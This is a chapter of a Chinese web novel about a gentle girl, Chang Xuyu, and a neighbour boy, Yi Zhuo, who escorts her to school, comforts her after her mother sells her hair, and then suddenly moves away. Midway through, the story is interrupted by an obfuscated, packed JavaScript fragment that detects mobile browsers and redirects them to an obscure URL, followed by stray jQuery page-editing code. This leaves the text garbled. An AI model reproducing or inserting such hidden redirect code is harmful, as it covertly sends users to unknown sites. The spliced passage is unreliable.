那年盛夏，白昼分外长，小巷子里，一群孩子追逐打闹，所经之处散漫着乳臭和汗腥的味道。
生锈的防盗窗外挂着几盆绿萝，墙上有许多爬山虎，都长得郁郁葱葱。
昨天下了场雨，楼下堆积的土成了孩子们的玩具。
“絮语，这一次可以让我当姐姐吗？”
跑累了，就围着土堆玩过家家游戏，蹲下来商量角色的扮演。
扎着俩辫子的小姑娘奶声奶气的询问在一旁安静画画的常絮语。
有人率先反对：“这是咱们一开始定好的啊，我觉得絮语更适合当姐姐。”
“可她都当了好几次了，不能换换吗？”
小姑娘撇撇嘴，开始嘟囔。
其实常絮语确实很适合扮演姐姐，她长得漂亮声音又好听，乖乖的，街坊邻居、大人小孩都喜欢她。
“絮语你说。”
常絮语一愣，她感冒了，说话的时候掺着重重的鼻音，瓮声瓮气道：“我都可以啦。”
她手上攥着根小木棍，在土上画了几朵花。
其实什么角色都无所谓，她也不在乎这些，只要大家能玩得开心就足够。
“那今天就让童童当姐姐吧！”
见常絮语没有异议，一群孩子妥协了。
童童开心的大笑，晃着常絮语的胳膊：“絮语你最好啦。”
絮语接过手里的塑料娃娃，给她梳了一个和自己一模一样的麻花辫子。
她额上冒着一层细细密密的汗，动作慢吞吞的，她自己的发质软乎，塑料娃娃就不同了，一缕一缕，她编的艰难。
忽然，头顶投射过来一道两道人影，一大一小。
常絮语抬头，一个近中年的男人牵着一个男孩的手，微笑的看着她。
“小姑娘，你们能带我儿子一起玩吗？”
他将男孩往前推了推。
“易焯，去跟小妹妹说说话。”
男孩额间有一道不深不浅的疤痕，近看有些可怖。
他脸上的表情，也仿若是蓄积了雷势的阴云，一双眸子里满是阴鸷，让人不寒而栗。
很明显，他不愿意。
常絮语有些无措的看着两人。
中年男人的唇角抽搐几下，脸上的笑意没了，取而代之的则成了愤怒。
接着，他一脚将面前的男孩踹到在地，恶狠狠的吼道：“老子治不了你这犟脾气！”
易焯冷不丁的跪倒在地上，吃了一嘴的土。
常絮语吓坏了，本能的伸出手臂，将比她高半个头的易焯护在身后——
“叔叔别打了，我，我带他玩，您放心吧。”
易焯猛地转过来，映入眼帘的是常絮语一条乌黑油亮的长辫子。
他反应过来，吐掉嘴里的泥，又看向男人，狭长的眸子里满是愤恨和隐忍。
见常絮语发了话，男人闭了闭眼冷静下来，发觉是自己冲动了。
待男人走后，易焯皱着眉站在一边，不知道是不是长相有些凶，除了常絮语以外，别的孩子根本不靠近他。
他也懒得搭理一群小孩。
看着夕阳渐颓，他不耐烦地挠了挠头，热的心烦意燥。
转头看常絮语，小姑娘的汗顺着白皙的皮肤滴在地上，他“啧”了一声，走上前看她在干什么。
“你画的是什么？”他嫌弃的上前观摩一阵，没看出来她画的是个什么东西。
常絮语眨眨眼睛，也不恼，慢吞吞的说：“我也不知道，但是我觉得画画很好玩。”
“哦，你的愿望不会是当个画家吧？”
小姑娘眼睛一亮：“你怎么知道！”
易焯没回话，觉得她傻的可爱。
他挑眉，摆了摆手：“你的愿望会实现的。”
*
回到家，常絮语跟妈妈说了今天的事。
女人在厨房打扫着灶台，想了想，漫不经心道：“刚搬来的那户吧，就住这栋楼。”
不过她今天跟邻居聊天，聊着这家人好像很有钱的样子，怎么会搬来住这样的房子呢？
常絮语啃着苹果，坐在客厅看漫画书。
“妈妈，那个叫易焯的哥哥人很好呢，他说我可以成为大画家。”
她是真的开心。
谁料常母出来，边甩着手上的水，边皱着眉教育她：“什么画家？少看点这些破漫画书，有这时间，你不如赶紧把算数作业写了。”
“一天天的，我都忙死了......”
女人把沾着油星子的围裙解下来，随意锤了两下酸痛的后腰，进了卧房。
常絮语看着她的背影，默默吞下最后一口苹果，悻悻的从书包里掏出习题本。
......
开学了，这天早上，常絮语下了校车，恍然间，看到一个熟悉的身影。
她往前跑了两步，定睛瞧了瞧，随即便笑了出来：“易焯哥哥！”
听见这稚嫩的童声，易焯转头，便见一个半大的扎着俩辫子的小姑娘站那傻乐。
他有些好笑，揣着兜走过去，看了看她身上宽大的校服，“啧”了一声：“你妈妈放心你一个六七岁的小孩自己上学啊？”
常絮语的书包很沉，她拉着书包带子，想了想，回答道：“妈妈工作很忙的，我坐校车，不会有事哒！”
易焯没乘过校车，都是私家车接送。
他点了点头：“那你还挺勇敢。”
常絮语比他小了三岁，他晚上学一年，两人的年级相差不大，教室也在同一栋楼。
他看着常絮语柔软的发顶，伸手摸了摸，毛茸茸的。
“以后就跟我一起上学吧。”
“真的？”常絮语一愣。
“嗯。”
易焯看了一眼腕上的表，皱眉：“还有五分钟，先进校门再说。”
把人送到一年级三班，易焯转身，三步并做一步跑上了四楼。
他扶着门槛吗，半蹲着喘气，过了一会，面前赫然出现了一双擦得油亮的黑皮高跟鞋。
班主任怒道：“易焯，上一年我就警告过你，开学再迟到就把你爸喊来。”
易焯咬了咬后槽牙，抬起头直视她。
“我爸太忙了，我都几个月没见过他，要不老师，”他站直，淡声：“你给他打电话试试看吧。”
“你！”
他歪头，眼中满是不屑和轻蔑。
“反正你是他女朋友，你叫他来，他不会不来。”
此言一出，班主任吓得面色煞白，她猛地回头看教室里还在晨读的学生，好在易焯把声音压得很低，并没有惊动其他人。
“易焯！你还有没有点规矩！”班主任摆起款来，低声训斥。
易焯懒得跟她废话，他花心的爹有钱有权，在外面招惹了不知道多少女人。
他跟班主任是上学期家长会看对眼的，班主任就一心想嫁来给易焯当后妈。
可易焯早就看透了，“未婚妻”和“女朋友”可不一样，未婚妻是门当户对相互扶持的，而“女朋友”只是他爹花心消遣的人物。
就连他要搬家，也是因为他爹不想让未婚妻发现他有个这么大的儿子。
易焯绕过她，阔步进了教室门。
在一众人的注视下，他冷着一张脸回到座位，心里烦躁，索性就趴在桌上睡觉了。
众人议论纷纷。
同样臭着一张脸的班主任也走进来，看见易焯，气不打一处来，却也管教不了。
“都看他做什么？背你们的课文！”
......
到了放学，他慢悠悠的下楼，无意瞥见了在教室打扫卫生的常絮语。
小姑娘个子矮，脚下垫着个板凳，才堪堪能将手臂伸到黑板的中间。
常絮语正心无旁骛的擦着，忽的觉察到玻璃窗外投射进的一个人影。
转过头，跟易焯四目相视。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448144|185189||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“易焯哥哥！”她一笑，露出两颗小虎牙。
易焯微微扬唇，冲她摆了摆手，然后走了进来。
“我帮你吧。”
说着就拿起一旁的拖把。
“啊，那，那谢谢易焯哥哥了。”
易焯干活的动作很利落，躬着腰半天不吭声，等常絮语再转头，他已经把整间教室的地都拖完了。
她扫试了一圈，眨了眨眼，心里分外感激。
“哇，这么快就好了！”
易焯随手拎起她的书包：“走，回家。”
出了校门，一直低着头的常絮语突发奇想，跑到小卖部买了两支冰棍。
易焯都帮她做值日打扫了，她也不能白收他的好，总要有感谢才是。
一支草莓味的冰棍被递到面前，易焯下意识往后退了一步。
“易焯哥哥，请你吃，”常絮语叼着自己的冰棍，手上整理着零钱，说话含糊不清：“细细你办我做值日......”
他晃了晃神，接过面前这根冰水和色素混成的冰棍。
“小事。”
他淡声，又抬手，摸了摸小姑娘柔软的发顶。
街道上堵满了三轮车和自行车，“叮铃叮铃”的声音仿佛绕着这座城市走了一圈又一圈。
小摊上此起彼伏的叫卖声和酱香饼的味道混在一起，在氤氲着白雾的泡面汤中，清晰又模糊。
夕阳伴着火烧云，一高一矮的身影在石子路上被投射的很长，很长。
冰棍甜腻带着一丝酸涩的味道充斥在他的口腔，一伸舌头，发现舌头被染红了半截。
他从来没吃过这个东西，皱了皱眉，攥在手里扔也不是，不扔也不是。
一低头，却见常絮语额角冒着汗，慢慢的吃着，嘴巴上红了一片。
这模样有点好笑，他压住嘴角，从口袋里掏出一包纸巾递给她。
又过了两天，一个黄昏后，天擦了黑，常絮语忽的从家里跑出来，一个人坐在土堆前哭。
她的头发没了。
原本乌黑油亮的长辫子，被妈妈一剪刀剪了下来，说是要卖给收头发的。
她极力抗争阻挠，还是被摁住了。
“那么长的头发留着干什么？还浪费洗发水，剪了还能再长呢。”
她哭的声音不大，却惊动了家住一楼的易焯。
拉开窗户，一眼就看见了常絮语。
他出门去找她，见她眼泪直流，又注意到她的齐耳短发，皱了皱眉。
“怎么搞的？”
见到易焯，常絮语的泪就跟断了线的珠串一样，止不住的往下掉。
她擦了擦泪，哽咽着小声说道：“妈妈，妈妈把我的头发剪了，拿，拿去卖了......换钱。”
“我留了，留了那么长时间......现在，编，编不了好看的，辫子了。”
她每说一个词就哼哧一声喘口气，眼圈红红的，模样分外可怜。
易焯上前几步，蹲下来看着她。
“没事，絮语短头发也好看。”
他照例揉了揉她的发顶。
“还会长出来的。”
“有人嘲笑你，你就来找我，我替你打他。”
他又挥了挥拳头。
常絮语的心态一直很好，被他三两句就给逗笑了。
见她笑了，易焯也总算是在心里松了口气。
夜幕降临，家家户户亮起了灯，两个小孩蹲在一起，无意识的享受着此时的微光。
在这里的生活很平静，平静到对外界一点烦心事都没有；也很吵闹，吵闹到三天两头听见隔壁炒菜剁肉的声音。
不过易焯承认，他很喜欢这里。
也习惯了每天上学，有个跟在他身后的，某个小屁孩。
可人间总有离别。
易焯搬走那天，所有人都措不及防。
常絮语追出巷子很长一段路，却连跟他的告别也没有。